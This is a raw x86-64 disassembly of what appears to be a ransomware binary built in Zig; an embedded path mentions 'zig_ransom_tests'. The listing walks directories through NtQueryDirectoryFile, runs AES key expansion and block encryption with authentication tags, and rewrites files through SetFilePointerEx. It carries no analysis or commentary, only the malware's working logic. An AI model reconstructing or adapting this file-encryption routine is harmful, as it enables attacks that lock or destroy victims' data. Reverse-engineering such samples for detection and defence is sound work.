mov rdx, qword [rsp + 0x268]
mov rax, qword [rsp + 0x260]
mov r8, qword [rsp + 0x270]
mov qword [rsp + 0x168], rdx
mov rdx, qword [rsp + 0x278]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x170], r8
vmovups xmmword [rsp + 0x150], xmm0
vmovups xmm0, xmmword [rsp + 0x280]
mov qword [rsp + 0x178], rdx
vmovups xmmword [rsp + 0x180], xmm0
vmovdqa xmm0, xmmword [rsp + 0x180]
mov rdi, qword [rsp + 0x158]
vmovdqa xmmword [rsp + 0x1f0], xmm0
test rdi, rdi
je 0x405e4a
vpbroadcastb xmm6, byte [0x004501b0]
xor eax, eax
mov qword [rsp + 0x78], rax
xor eax, eax
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0xd0], rbx
mov rcx, qword [rsp + 0x150]
imul rax, rdi, 0x720
mov rsi, rcx
lea rdx, [rcx + rax - 0x718]
lea r14, [rcx + rax - 0x720]
lea r12, [rcx + rax]
mov rbp, qword [rcx + rax - 8]
mov r8, qword [rcx + rax - 0x318]
mov rcx, qword [rcx + rax - 0x310]
mov qword [rsp + 0x130], rdx
nop word cs:[rax + rax]
cmp r8, rcx
jae 0x405730
cmp r8, 0x400
jae 0x408158
lea r15, [r14 + r8 + 8]
test r15b, 1
je 0x4057db
jmp 0x40816f
vmovdqa xmmword [rsp + 0x190], xmm6
mov r10, qword [rsp + 0x130]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
movzx eax, byte [r12 - 0x308]
mov rcx, qword [r12 - 0x720]
mov qword [rsp + 0x48], 0
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x38], 3
mov dword [rsp + 0x30], 0x400
mov qword [rsp + 0x28], r10
mov byte [rsp + 0x50], al
lea rax, [rsp + 0x190]
mov qword [rsp + 0x20], rax
call sub.ntdll.dll_NtQueryDirectoryFile
mov byte [r12 - 0x308], 0
mov rcx, qword [rsp + 0x198]
test rcx, rcx
je 0x4058ae
mov qword [r12 - 0x318], 0
mov qword [r12 - 0x310], rcx
test eax, eax
jne 0x405e3c
mov r8d, eax
lea r15, [r14 + r8 + 8]
test r15b, 1
jne 0x40816f
mov edx, dword [r12 + r8 - 0x718]
lea r9, [r15 + 0x5e]
lea rax, [r8 + rdx]
test rdx, rdx
mov edx, 0x400
cmove rax, rdx
mov qword [r12 - 0x318], rax
mov r8d, dword [r12 + r8 - 0x6dc]
mov edx, r8d
shr edx, 1
cmp r8d, 2
jae 0x405830
movabs r11, 0xaaaaaaaaaaaaaaaa
xor r10d, r10d
cmp r10, 4
je 0x405889
jmp 0x405908
lea r10d, [rdx + rdx]
cmp edx, 1
jne 0x405880
lea r11, [0x00451778]
mov r8, rax
cmp r9, r11
je 0x405700
cmp byte [r9], 0x2e
jne 0x405880
lea r8, [0x00451778]
movzx r8d, byte [r10 + r8 - 1]
cmp byte [r9 + rdx*2 - 1], r8b
jne 0x405880
lea r8, [0x00451778]
movzx r11d, byte [rdx + r8]
mov r8, rax
cmp byte [r9 + rdx], r11b
je 0x405700
nop
mov r11, r9
cmp r10, 4
jne 0x405908
lea r10, [0x0045177a]
mov r8, rax
cmp r11, r10
je 0x405700
cmp dword [r11], 0x2e002e
mov r8, rax
je 0x405700
jmp 0x405908
mov r15, rdi
sub r15, 1
jb 0x40819a
mov rbp, qword [rsp + 0x90]
mov rbx, qword [rsp + 0xd0]
cmp r15, rdi
jae 0x408158
imul rax, r15, 0x720
mov rcx, qword [rsi + rax]
mov qword [rsp + 0x158], r15
test r15, r15
je 0x40802d
call sub.ntdll.dll_NtClose
mov rdi, r15
mov rcx, rsi
test eax, eax
je 0x4056b6
jmp 0x406d54
add r12, 0xfffffffffffffcf9
mov r8d, 0x2fd
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x20], rdx
mov rdx, r12
call fcn.0040ab70
mov rax, qword [rsp + 0x110]
cmp rax, 0x2fe
jae 0x408158
mov r13, rax
mov eax, dword [r15 + 0x38]
test eax, 0x400
sete cl
or cl, 4
test al, 0x10
mov eax, 2
movzx esi, cl
cmovne esi, eax
cmp qword [rsp + 0x170], rbp
jb 0x406d54
mov r8, rbp
mov qword [rsp + 0x170], rbp
test rbp, rbp
je 0x4059d5
inc r8
je 0x40819a
lea rcx, [rsp + 0x168]
lea rdx, [rsp + 0x1f0]
mov rdi, r8
call fcn.00409330
test ax, ax
jne 0x406de9
mov rcx, qword [rsp + 0x170]
cmp rcx, qword [rsp + 0x178]
jae 0x406d54
lea rax, [rcx + 1]
mov qword [rsp + 0x170], rax
mov rdx, qword [rsp + 0x168]
mov byte [rdx + rcx], 0x5c
jmp 0x4059d9
xor eax, eax
xor edi, edi
lea r8, [r13 + 1]
add r8, rax
setb al
setb byte [rsp + 0x110]
setb byte [rsp + 0x190]
test al, al
jne 0x406dee
lea rcx, [rsp + 0x168]
lea rdx, [rsp + 0x1f0]
call fcn.00409330
test ax, ax
jne 0x406de9
mov rcx, qword [rsp + 0x170]
mov r15, rcx
add r15, r13
jb 0x40819a
mov rbx, qword [rsp + 0x178]
cmp r15, rbx
ja 0x406d54
mov rbp, r13
mov r13, qword [rsp + 0x168]
lea rax, [r12 + rbp]
add rcx, r13
cmp rcx, rax
jae 0x405a62
lea rax, [rcx + rbp]
cmp rax, r12
ja 0x408183
mov rdx, r12
mov r8, rbp
call fcn.0044c2f0
cmp r15, rbx
jae 0x406d54
mov rcx, r15
inc rcx
lea r8, str._mnt_07278d6f_dcd5_4540_ae3f_dc7f08c050e4_Dev_zig_ransom_tests_
mov qword [rsp + 0x170], rcx
mov byte [r13 + r15], 0
cmp sil, 2
jne 0x405b83
lea rax, [0x00451631]
lea rcx, [rsp + 0x1d0]
mov rdx, r14
mov r8, r12
mov r9, rbp
mov qword [rsp + 0x20], rax
call fcn.00401070
movzx eax, word [rsp + 0x1d8]
test eax, eax
jne 0x407ff7
mov rax, qword [rsp + 0x1d0]
mov r8d, 0x410
lea rcx, [rsp + 0x398]
xor edx, edx
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x390], rax
call fcn.0044c710
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x1f0]
lea r8, [rsp + 0x390]
mov byte [rsp + 0x7a8], 0
mov qword [rsp + 0xaa8], r15
call fcn.00401300
mov rbp, qword [rsp + 0x90]
mov r12, qword [rsp + 0xd0]
test ax, ax
jne 0x408018
mov rax, qword [rsp + 0x158]
mov rcx, rax
sub rcx, 1
jb 0x40819a
lea r8, str._mnt_07278d6f_dcd5_4540_ae3f_dc7f08c050e4_Dev_zig_ransom_tests_
cmp rcx, rax
jae 0x408158
mov rcx, rax
sub rcx, 2
jb 0x40819a
cmp rcx, rax
jae 0x408158
mov rcx, qword [rsp + 0x170]
mov rdx, rcx
sub rdx, 1
jb 0x40819a
mov r9, qword [rsp + 0x90]
mov rbx, qword [rsp + 0xd0]
mov rax, rdx
sub rax, rdi
jb 0x4081ae
cmp rdx, rcx
jae 0x408158
mov rcx, qword [rsp + 0x168]
cmp byte [rcx + rdx], 0
jne 0x4081c2
mov byte [rsp + 0x60], sil
cmp sil, 5
jne 0x405ce3
add rcx, rdi
mov qword [rsp + 0x1b0], r8
mov qword [rsp + 0x1b8], 0x3f
lea rdx, [0x004516c8]
lea r8, [rsp + 0x1b0]
mov qword [rsp + 0x1c0], rcx
lea rcx, [rsp + 0x390]
mov qword [rsp + 0x1c8], rax
call fcn.00401580
movzx r15d, word [rsp + 0x3a0]
test r15w, r15w
jne 0x405594
mov r8, qword [rsp + 0x78]
mov rsi, r8
inc rsi
je 0x40819a
mov rbp, qword [rsp + 0x390]
mov r14, qword [rsp + 0x398]
mov r12, qword [rsp + 0x68]
mov rcx, 0xffffffffffffffff
cmp r12, rsi
jae 0x405cd9
nop
mov rax, r12
shr rax, 1
add rax, 8
add r12, rax
cmovb r12, rcx
cmp r12, rsi
jb 0x405c60
cmp qword [rsp + 0x68], 0
movabs rax, 0xfffffffffffffff
je 0x405cf0
cmp qword [rsp + 0x68], rax
ja 0x40819a
cmp r12, rax
seta byte [rsp + 0x390]
ja 0x405cf0
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, r12
shl rax, 4
lea rcx, [section..data]
mov qword [rsp + 0x20], rax
shl r8, 4
call fcn.00408490
mov r8, qword [rsp + 0x78]
test al, 1
movabs rax, 0xfffffffffffffff
je 0x405cf0
mov r15, qword [rsp + 0x70]
jmp 0x405ddf
mov r15, qword [rsp + 0x70]
mov rbp, r9
jmp 0x405e14
cmp r12, rax
seta byte [rsp + 0x390]
ja 0x408047
mov rbx, r12
shl rbx, 4
je 0x405d45
lea rcx, [section..data]
mov r8b, 3
mov rdx, rbx
call fcn.004081f0
test rax, rax
je 0x408047
mov dl, 0xaa
mov r15, rax
mov rcx, rax
mov r8, rbx
call fcn.0044c710
mov r8, qword [rsp + 0x78]
test r15b, 7
je 0x405d4c
jmp 0x40816f
mov r15, 0xfffffffffffffff8
cmp r8, r12
ja 0x408158
mov rdi, r15
mov r15, qword [rsp + 0x70]
shl r8, 4
mov qword [rsp + 0x130], rbp
mov rcx, rdi
lea rax, [r15 + r8]
cmp rdi, rax
jae 0x405d82
lea rax, [rcx + r8]
cmp r15, rax
jb 0x408183
mov rdx, r15
call fcn.0044c2f0
mov rbp, qword [rsp + 0x68]
movabs rax, 0xaaaaaaaaaaaaaaaa
mov rbx, rbp
shl rbx, 4
test rbp, rbp
cmove r15, rax
cmove rbx, rbp
test rbx, rbx
je 0x405dcf
mov dl, 0xaa
mov rcx, r15
mov r8, rbx
call fcn.0044c710
lea rcx, [section..data]
mov rdx, r15
mov r8, rbx
call fcn.00408550
mov r8, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x130]
mov r15, rdi
cmp r8, r12
jae 0x406d54
shl r8, 4
mov rbx, qword [rsp + 0xd0]
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x68], r12
mov qword [r15 + r8], rbp
mov rbp, qword [rsp + 0x90]
mov qword [r15 + r8 + 8], r14
lea rax, [rsp + 0x180]
mov rdi, qword [rsp + 0x158]
vmovdqu xmm0, xmmword [rax]
vmovdqa xmmword [rsp + 0x1f0], xmm0
test rdi, rdi
jne 0x4056ae
jmp 0x405e5c
cmp eax, 0xc0000022
jne 0x405eab
mov r15w, 0xb
jmp 0x405eb0
mov rbp, qword [rsp + 0x90]
xor eax, eax
mov r15, rcx
mov qword [rsp + 0x78], rax
mov rcx, rbx
call sub.ntdll.dll_NtClose
test eax, eax
jne 0x406d54
mov rbx, qword [rsp + 0x1e0]
mov r13, qword [rsp + 0x80]
mov r8, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x58]
mov r14, qword [rsp + 0xb8]
mov r9, qword [rsp + 0xb0]
mov qword [rsp + 0x70], r15
jmp 0x405f42
mov r15w, 0x10
mov rbp, qword [rsp + 0x90]
mov r12, qword [rsp + 0xd0]
mov rax, rdi
sub rax, 1
jb 0x40819a
cmp rax, rdi
jae 0x408158
test rax, rax
je 0x405ef3
imul rax, rax, 0x720
mov rcx, qword [rsi + rax]
call sub.ntdll.dll_NtClose
test eax, eax
jne 0x406d54
mov rcx, r12
call sub.ntdll.dll_NtClose
test eax, eax
jne 0x406d54
mov rbx, qword [rsp + 0x1e0]
mov r13, qword [rsp + 0x80]
mov r8, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x58]
mov r14, qword [rsp + 0xb8]
mov r9, qword [rsp + 0xb0]
test r15w, r15w
jne 0x406d75
add rbp, r13
rorx r11, r9, 0x1c
rorx r10, r9, 0x27
vmovq xmm0, rsi
vmovq xmm1, r8
vmovq xmm2, r9
vmovdqa xmm3, xmmword [0x00450180]
lea rsi, [rsp + 0x1b0]
andn rdx, rbp, r14
and rdi, rbp
rorx rax, rbp, 0xe
rorx rcx, rbp, 0x12
rorx r15, rbp, 0x29
vpunpcklqdq xmm0, xmm0, xmm1
vpaddq xmm0, xmm0, xmmword [0x00450160]
or rdi, rdx
rorx rdx, r9, 0x22
xor rcx, rax
xor rdx, r11
xor r15, rcx
lea rcx, [rsp + 0xab0]
xor r10, rdx
movabs rdx, 0x8e753b2146734f43
add rdx, rdi
add r10, r15
xor edi, edi
add rdx, r10
vmovq xmm1, rdx
vpunpcklqdq xmm1, xmm1, xmm2
vpbroadcastq xmm2, qword [0x004501b8]
vpshufb xmm0, xmm0, xmm3
vmovdqa xmmword [rsp + 0x1e0], xmm0
vpinsrq xmm2, xmm2, rbx, 0
vpaddq xmm1, xmm1, xmm2
vpshufb xmm1, xmm1, xmm3
vmovdqa xmmword [rsp + 0x130], xmm1
vpxor xmm1, xmm1, xmmword [0x004501a0]
vmovdqa xmmword [rsp + 0xd0], xmm1
mov rax, qword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
cmp rdi, rax
jae 0x406e08
mov rax, rdi
shl rax, 4
mov rdx, qword [r8 + rax]
mov r8, qword [r8 + rax + 8]
call fcn.00401930
movzx r15d, word [rsp + 0xb20]
test r15w, r15w
jne 0x406d75
mov rdx, qword [rsp + 0xaf0]
mov rax, qword [rsp + 0xb10]
mov rcx, rsi
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0x88], rax
mov qword [rsp + 0xe8], rdx
call fcn.00401f30
movzx eax, word [rsp + 0x1c0]
mov dword [rsp + 0x58], eax
test ax, ax
jne 0x406d70
mov r14, qword [rsp + 0x1b8]
mov rbx, r14
add rbx, 0x7f
jb 0x40819a
mov rax, qword [rsp + 0x1b0]
shr rbx, 7
mov rcx, 0xffffffffffffffe0
mov edx, 0x80
mov r8, 0xfffffffffffffff0
lea rdi, [rsp + 0x390]
xor r9d, r9d
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rsp + 0x80], rax
jmp 0x406249
mov ecx, ebx
shr ecx, 8
mov edx, ebx
vmovd xmm0, ebx
shr edx, 0x10
mov r8, rbx
mov r9, rbx
shr r8, 0x20
shr r9, 0x28
vpinsrb xmm0, xmm0, ecx, 1
mov rcx, rbx
shr rcx, 0x30
vpinsrb xmm0, xmm0, edx, 2
mov rdx, rbx
shr ebx, 0x18
shr rdx, 0x38
vpinsrb xmm0, xmm0, ebx, 3
vpinsrb xmm0, xmm0, r8d, 4
vpinsrb xmm0, xmm0, r9d, 5
vpinsrb xmm0, xmm0, ecx, 6
mov ecx, edi
shr ecx, 8
vpinsrb xmm0, xmm0, edx, 7
lea rdx, [rsp + 0x150]
vpinsrb xmm0, xmm0, edi, 8
vpinsrb xmm0, xmm0, ecx, 9
mov ecx, edi
shr ecx, 0x10
vpinsrb xmm0, xmm0, ecx, 0xa
mov ecx, edi
shr ecx, 0x18
vpinsrb xmm0, xmm0, ecx, 0xb
mov rcx, rdi
shr rcx, 0x20
vpinsrb xmm0, xmm0, ecx, 0xc
mov rcx, rdi
shr rcx, 0x28
vpinsrb xmm0, xmm0, ecx, 0xd
mov rcx, rdi
shr rcx, 0x30
shr rdi, 0x38
vpinsrb xmm0, xmm0, ecx, 0xe
mov rcx, qword [rsp + 0x88]
vpinsrb xmm0, xmm0, edi, 0xf
vpxor xmm0, xmm10, xmm0
vmovdqu xmmword [rax], xmm0
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x158], r12
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 0x10
vzeroupper
call fcn.00402550
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0x90]
sub qword [rsp + 0x80], 0xffffffffffffff80
mov r14, qword [rsp + 0x148]
mov rbx, qword [rsp + 0x140]
mov r9, qword [rsp + 0xb0]
lea rdi, [rsp + 0x390]
add rcx, 0xffffffffffffff80
sub rdx, 0xffffffffffffff80
add r8, 0xffffffffffffff80
test ax, ax
jne 0x406d6c
cmp r14, rdx
mov rsi, rdx
mov rbp, r9
cmovb rsi, r14
shl rbp, 7
lea r13, [rbp + 0x80]
cmp r14, r13
cmovb r13, r14
cmp r9, rbx
je 0x406aa3
inc r9
mov r12, r9
shl r12, 7
cmp r12, r14
cmovae r12, r14
sub r12, rbp
jb 0x4081ae
xor eax, eax
test al, al
jne 0x406d68
mov ax, 0x1f
mov qword [rsp + 0xb0], r9
mov qword [rsp + 0x90], r8
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0xa8], rcx
mov dword [rsp + 0x58], eax
test r12, r12
je 0x406301
lea rcx, [section..data]
mov rdx, r12
xor r8d, r8d
call fcn.004081f0
test rax, rax
je 0x406d70
mov dl, 0xaa
mov r15, rax
mov rcx, rax
mov r8, r12
call fcn.0044c710
movabs rax, 0xfffffffe1
cmp r12, rax
jb 0x406308
jmp 0x406d54
mov r15, 0xffffffffffffffff
lea r9, [r12 - 1]
mov eax, 1
vmovaps xmm0, xmmword [rsp + 0x1e0]
vmovaps xmm3, xmmword [rsp + 0x130]
mov rcx, rdi
shr r9, 4
add r9, 2
cmp r12, 1
cmovb r9, rax
vaeskeygenassist xmm1, xmm0, 1
vpslldq xmm2, xmm3, 4
vpxor xmm7, xmm3, xmm2
vpslldq xmm2, xmm7, 8
vpxor xmm7, xmm7, xmm2
vpshufd xmm2, xmm1, 0xff
vpxor xmm7, xmm7, xmm2
vaeskeygenassist xmm2, xmm7, 1
vpslldq xmm3, xmm0, 4
vpxor xmm1, xmm0, xmm3
vpslldq xmm3, xmm1, 8
vpxor xmm1, xmm1, xmm3
vpshufd xmm3, xmm2, 0xaa
vpxor xmm1, xmm1, xmm3
vaeskeygenassist xmm3, xmm1, 2
vpslldq xmm4, xmm7, 4
vpxor xmm2, xmm7, xmm4
vpslldq xmm4, xmm2, 8
vpxor xmm2, xmm2, xmm4
vpshufd xmm4, xmm3, 0xff
vpxor xmm2, xmm2, xmm4
vaeskeygenassist xmm4, xmm2, 2
vpslldq xmm5, xmm1, 4
vpxor xmm3, xmm1, xmm5
vpslldq xmm5, xmm3, 8
vpxor xmm3, xmm3, xmm5
vpshufd xmm5, xmm4, 0xaa
vpxor xmm3, xmm3, xmm5
vaeskeygenassist xmm5, xmm3, 4
vpslldq xmm9, xmm2, 4
vpxor xmm4, xmm9, xmm2
vpslldq xmm9, xmm4, 8
vpxor xmm4, xmm9, xmm4
vpshufd xmm9, xmm5, 0xff
vpxor xmm4, xmm9, xmm4
vaeskeygenassist xmm9, xmm4, 4
vpslldq xmm10, xmm3, 4
vpxor xmm5, xmm10, xmm3
vpslldq xmm10, xmm5, 8
vpxor xmm5, xmm10, xmm5
vpshufd xmm10, xmm9, 0xaa
vpxor xmm5, xmm10, xmm5
vaeskeygenassist xmm10, xmm5, 8
vpslldq xmm11, xmm4, 4
vpxor xmm9, xmm11, xmm4
vpslldq xmm11, xmm9, 8
vpxor xmm9, xmm9, xmm11
vpshufd xmm11, xmm10, 0xff
vpxor xmm9, xmm9, xmm11
vaeskeygenassist xmm11, xmm9, 8
vpslldq xmm12, xmm5, 4
vpxor xmm10, xmm12, xmm5
vpslldq xmm12, xmm10, 8
vpxor xmm10, xmm10, xmm12
vpshufd xmm12, xmm11, 0xaa
vpxor xmm10, xmm10, xmm12
vaeskeygenassist xmm12, xmm10, 0x10
vpslldq xmm13, xmm9, 4
vpxor xmm11, xmm9, xmm13
vpslldq xmm13, xmm11, 8
vpxor xmm11, xmm11, xmm13
vpshufd xmm13, xmm12, 0xff
vpxor xmm11, xmm11, xmm13
vaeskeygenassist xmm13, xmm11, 0x10
vpslldq xmm14, xmm10, 4
vpxor xmm12, xmm10, xmm14
vpslldq xmm14, xmm12, 8
vpxor xmm12, xmm12, xmm14
vpshufd xmm14, xmm13, 0xaa
vpxor xmm12, xmm12, xmm14
vaeskeygenassist xmm14, xmm12, 0x20
vpslldq xmm15, xmm11, 4
vpxor xmm13, xmm11, xmm15
vpslldq xmm15, xmm13, 8
vpxor xmm13, xmm13, xmm15
vpshufd xmm15, xmm14, 0xff
vpxor xmm13, xmm13, xmm15
vaeskeygenassist xmm15, xmm13, 0x20
vpslldq xmm8, xmm12, 4
vpxor xmm14, xmm12, xmm8
vpslldq xmm8, xmm14, 8
vpxor xmm14, xmm14, xmm8
vpshufd xmm8, xmm15, 0xaa
vpxor xmm14, xmm14, xmm8
vaeskeygenassist xmm8, xmm14, 0x40
vpslldq xmm6, xmm13, 4
vpxor xmm15, xmm13, xmm6
vpslldq xmm6, xmm15, 8
vpxor xmm15, xmm15, xmm6
vpshufd xmm6, xmm8, 0xff
vpxor xmm15, xmm15, xmm6
vmovaps xmm6, xmmword [rsp + 0x130]
vmovaps xmm8, xmmword [rsp + 0xd0]
vmovaps xmmword [rsp + 0x250], xmm6
vaesenc xmm6, xmm6, xmm0
vaesenc xmm6, xmm6, xmm7
vaesenc xmm6, xmm6, xmm1
vaesenc xmm6, xmm6, xmm2
vaesenc xmm6, xmm6, xmm3
vaesenc xmm6, xmm6, xmm4
vaesenc xmm6, xmm6, xmm5
vaesenc xmm6, xmm6, xmm9
vaesenc xmm6, xmm6, xmm10
vaesenc xmm6, xmm6, xmm11
vaesenc xmm6, xmm6, xmm12
vaesenc xmm6, xmm6, xmm13
vaesenc xmm6, xmm6, xmm14
vaesenclast xmm6, xmm6, xmm15
vmovq rdx, xmm6
vpextrq r8, xmm6, 1
vmovaps xmmword [rsp + 0x260], xmm0
vaesenc xmm8, xmm8, xmm0
vaesenc xmm0, xmm8, xmm7
vaesenc xmm0, xmm0, xmm1
vaesenc xmm0, xmm0, xmm2
vaesenc xmm0, xmm0, xmm3
vaesenc xmm0, xmm0, xmm4
vaesenc xmm0, xmm0, xmm5
vaesenc xmm0, xmm0, xmm9
vaesenc xmm0, xmm0, xmm10
vaesenc xmm0, xmm0, xmm11
vaesenc xmm0, xmm0, xmm12
vaesenc xmm0, xmm0, xmm13
vmovaps xmmword [rsp + 0x270], xmm7
vmovdqa xmmword [rsp + 0x280], xmm1
vmovdqa xmmword [rsp + 0x290], xmm2
vmovdqa xmmword [rsp + 0x2a0], xmm3
vmovaps xmmword [rsp + 0x2b0], xmm4
vmovaps xmmword [rsp + 0x2c0], xmm5
vmovaps xmmword [rsp + 0x2d0], xmm9
vmovaps xmmword [rsp + 0x2e0], xmm10
vaesenc xmm0, xmm0, xmm14
vmovaps xmmword [rsp + 0x2f0], xmm11
vmovaps xmmword [rsp + 0x300], xmm12
vmovaps xmmword [rsp + 0x310], xmm13
vmovaps xmmword [rsp + 0x320], xmm14
vmovaps xmmword [rsp + 0x330], xmm15
vaesenclast xmm10, xmm0, xmm15
call fcn.00409970
movabs rdx, 0xaaaaaaaaaaaaaaaa
mov rcx, rdi
xor r8d, r8d
call fcn.00409f80
mov rax, qword [rsp + 0x4b0]
test rax, rax
je 0x40669f
cmp rax, 0xf
ja 0x40667d
mov r8d, 0x10
lea rcx, [rsp + rax + 0x4a0]
xor edx, edx
sub r8, rax
call fcn.0044c710
mov r8d, 0x10
lea rdx, [rsp + 0x4a0]
mov rcx, rdi
call fcn.0040c5f0
mov qword [rsp + 0x4b0], 0
mov rax, qword [rsp + 0x68]
movabs rcx, 0x200000000000000
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], 0
mov rdx, r15
mov r8, r12
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x250]
lea r9, [rax + rbp]
call fcn.0040a0d0
mov rcx, rdi
mov rdx, r15
mov r8, r12
call fcn.00409f80
mov rax, qword [rsp + 0x4b0]
test rax, rax
je 0x406733
cmp rax, 0xf
ja 0x406711
mov r8d, 0x10
lea rcx, [rsp + rax + 0x4a0]
xor edx, edx
sub r8, rax
call fcn.0044c710
mov r8d, 0x10
lea rdx, [rsp + 0x4a0]
mov rcx, rdi
call fcn.0040c5f0
mov qword [rsp + 0x4b0], 0
lea rax, [r12*8]
mov r8d, 0x10
lea rdx, [rsp + 0x110]
mov qword [rsp + 0x110], 0
mov rcx, rdi
movbe qword [rsp + 0x118], rax
call fcn.00409f80
mov rax, qword [rsp + 0x4b0]
test rax, rax
je 0x4067a8
cmp rax, 0xf
ja 0x406792
mov r8d, 0x10
lea rcx, [rsp + rax + 0x4a0]
xor edx, edx
sub r8, rax
call fcn.0044c710
mov r8d, 0x10
lea rdx, [rsp + 0x4a0]
mov rcx, rdi
call fcn.0040c5f0
movbe rbx, qword [rsp + 0x498]
movbe rdi, qword [rsp + 0x490]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [rsp + 0x390], ymm0
vmovups ymmword [rsp + 0x3b0], ymm0
vmovups ymmword [rsp + 0x3d0], ymm0
vmovups ymmword [rsp + 0x3f0], ymm0
vmovups ymmword [rsp + 0x410], ymm0
vmovups ymmword [rsp + 0x430], ymm0
vmovups ymmword [rsp + 0x450], ymm0
vmovups ymmword [rsp + 0x470], ymm0
vmovups ymmword [rsp + 0x490], ymm0
mov qword [rsp + 0x4b0], 0
mov qword [rsp + 0x4b8], 0
xor eax, eax
test al, al
jne 0x406d70
test r12, r12
je 0x406871
lea rcx, [section..data]
mov rdx, r12
xor r8d, r8d
vzeroupper
call fcn.004081f0
test rax, rax
je 0x406d70
mov dl, 0xaa
mov r14, rax
mov rcx, rax
mov r8, r12
call fcn.0044c710
xor eax, eax
test al, al
je 0x406882
jmp 0x406d70
mov r14, 0xffffffffffffffff
xor eax, eax
test al, al
jne 0x406d70
mov edx, 0x10
lea rcx, [section..data]
xor r8d, r8d
vzeroupper
call fcn.004081f0
test rax, rax
je 0x406d70
vpbroadcastb xmm0, byte [0x004501b0]
vmovdqu xmmword [rax], xmm0
test r12, r12
je 0x406100
mov rcx, r13
sub rcx, rbp
mov rdx, r12
cmp rcx, 0x10
jae 0x406976
mov r8, rdx
and r8, 7
mov rcx, rdx
je 0x4068f7
mov r9, rdx
nop word [rax + rax]
movzx r10d, byte [r15 + r9 - 1]
lea rcx, [r9 - 1]
dec r8
mov byte [r14 + r9 - 1], r10b
mov r9, rcx
jne 0x4068e0
dec rdx
cmp rdx, 7
jb 0x406100
mov rdx, rcx
nop word [rax + rax]
movzx r8d, byte [r15 + rcx - 1]
add rdx, 0xfffffffffffffff8
mov byte [r14 + rcx - 1], r8b
movzx r8d, byte [r15 + rcx - 2]
mov byte [r14 + rcx - 2], r8b
movzx r8d, byte [r15 + rcx - 3]
mov byte [r14 + rcx - 3], r8b
movzx r8d, byte [r15 + rcx - 4]
mov byte [r14 + rcx - 4], r8b
movzx r8d, byte [r15 + rcx - 5]
mov byte [r14 + rcx - 5], r8b
movzx r8d, byte [r15 + rcx - 6]
mov byte [r14 + rcx - 6], r8b
movzx r8d, byte [r15 + rcx - 7]
mov byte [r14 + rcx - 7], r8b
movzx r8d, byte [r15 + rcx - 8]
mov byte [r14 + rcx - 8], r8b
mov rcx, rdx
jne 0x406910
jmp 0x406100
not rbp
mov rdx, r12
add rbp, r13
lea r8, [r14 + rbp]
cmp r14, r8
ja 0x4068cb
add rbp, r15
mov rdx, r12
cmp r15, rbp
ja 0x4068cb
mov r8, r15
sub r8, r14
mov rdx, r12
cmp r8, 0x80
jb 0x4068cb
cmp rcx, 0x80
jae 0x4069c2
xor r8d, r8d
jmp 0x406a48
mov r11, qword [rsp + 0xa8]
mov r9d, esi
and r9d, 0x7f
add r9, qword [rsp + 0x80]
mov edx, r13d
and edx, 0x7f
mov r8, rcx
mov rbp, rsi
sub r8, rdx
lea r10, [r14 + r11]
add r11, r15
nop
vmovdqu ymm0, ymmword [r11 + rbp - 0x60]
vmovdqu ymm1, ymmword [r11 + rbp - 0x40]
vmovdqu ymm2, ymmword [r11 + rbp - 0x20]
vmovdqu ymm3, ymmword [r11 + rbp]
vmovdqu ymmword [r10 + rbp], ymm3
vmovdqu ymmword [r10 + rbp - 0x20], ymm2
vmovdqu ymmword [r10 + rbp - 0x40], ymm1
vmovdqu ymmword [r10 + rbp - 0x60], ymm0
add rbp, 0xffffffffffffff80
cmp r9, rbp
jne 0x4069f0
test rdx, rdx
je 0x406100
cmp edx, 0x10
jae 0x406a48
mov rdx, r12
sub rdx, r8
jmp 0x4068cb
mov r9, rsi
add rsi, qword [rsp + 0x90]
and r13d, 0xf
and r9, 0xfffffffffffffff0
mov rdx, r13
sub rdx, rcx
add rdx, r12
sub rsi, r8
add r8, qword [rsp + 0x80]
lea rcx, [r14 + rsi]
add rsi, r15
sub r8, r9
xor r9d, r9d
nop dword [rax]
vmovdqu xmm0, xmmword [rsi + r9]
vmovdqu xmmword [rcx + r9], xmm0
add r9, 0xfffffffffffffff0
cmp r8, r9
jne 0x406a80
test r13, r13
jne 0x4068cb
jmp 0x406100
mov rcx, qword [rsp + 0xe8]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x408066
mov rcx, qword [rsp + 0x88]
cmp qword [rcx + 8], 0
je 0x406cb7
xor esi, esi
mov rax, qword [rcx]
mov rcx, rsi
shl rcx, 5
mov rdi, qword [rax + rcx + 8]
mov r14, rdi
add r14, 0x10
jb 0x40819a
mov dx, 0x1f
mov dword [rsp + 0x58], edx
xor edx, edx
test dl, dl
jne 0x406d70
mov r12, qword [rax + rcx]
mov rbp, qword [rax + rcx + 0x10]
mov r13, qword [rax + rcx + 0x18]
lea rcx, [section..data]
mov rdx, r14
xor r8d, r8d
call fcn.004081f0
test rax, rax
je 0x406d70
mov dl, 0xaa
mov r15, rax
mov rbx, rax
mov rcx, r15
mov r8, r14
call fcn.0044c710
test r13, r13
je 0x406bb9
lea rax, [r13 - 1]
cmp rax, r14
cmovae rax, r14
inc rax
cmp rax, 0x21
jb 0x406b99
mov rdx, r15
sub rdx, rbp
mov ecx, 0
